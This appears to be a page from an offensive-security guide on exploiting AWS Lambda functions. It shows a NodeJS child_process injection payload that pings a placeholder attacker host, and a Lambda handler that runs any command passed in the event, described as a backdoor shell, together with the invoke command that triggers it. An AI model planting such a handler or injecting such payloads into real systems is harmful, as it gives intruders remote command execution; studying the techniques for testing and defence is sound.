Lambda

Exploits in Lambda software may be a bit different than exploits in your traditional application stack. For one thing, the Lambda environment may only accept a limited number of inputs as they are smaller functions. The Lambda system itself may not have all the command-line applications that will give you execution. Typically, you may also be dealing with systems that execute software slightly differently. NodeJS, for example, can do code execution but indirectly. Instead of calling say the ping command from an injection point, typically the injection will be in the form of the JavaScript language itself. This would mean that command execution would be through calling a library like child_process. Here is an example of how code execution may work in a NodeJS environment:

require("child_process").exec("ping –c 4 attacker.ip.com")

What this would instruct the system to do would be to ping back to you.

Command Shell

Amazon Lambda can run a command-line shell. Amazon has encouraged this in presentations at Re:Invent and asks for individual developers to look at the flexibility and design of each container. As such, you may have to create some very specific shells to get execution to fire without other backdoor payloads. Backdoor payloads may not even stay running consistently as containers spin up and down. Static payload shells may work a slight bit better. Here is an example of how to execute one.

Note: Lambdas will spin down after 15 minutes of execution time; however, to run Lambda again, just execute the Lambda's function once again.

First, as part of a Lambda package, ensure that you have a new handler function. The handler function must have the capability to execute commands on your behalf. Depending on the underlying language, you may have to understand how to consistently get communication in and out. Finally, once on the system, you may continuously use the shell so that it's able to stay running.

var child_process = require('child_process')
exports.handle = function(e, ctx, cb) {
child_process.exec(e.command, {
maxBuffer: 1024*1024*512
}, (err, stdout, stderr) => {
cb(err, stdout)
})
}
aws lambda invoke --function <name> --payload '{ "command" : "ls" }' response.json

Last updated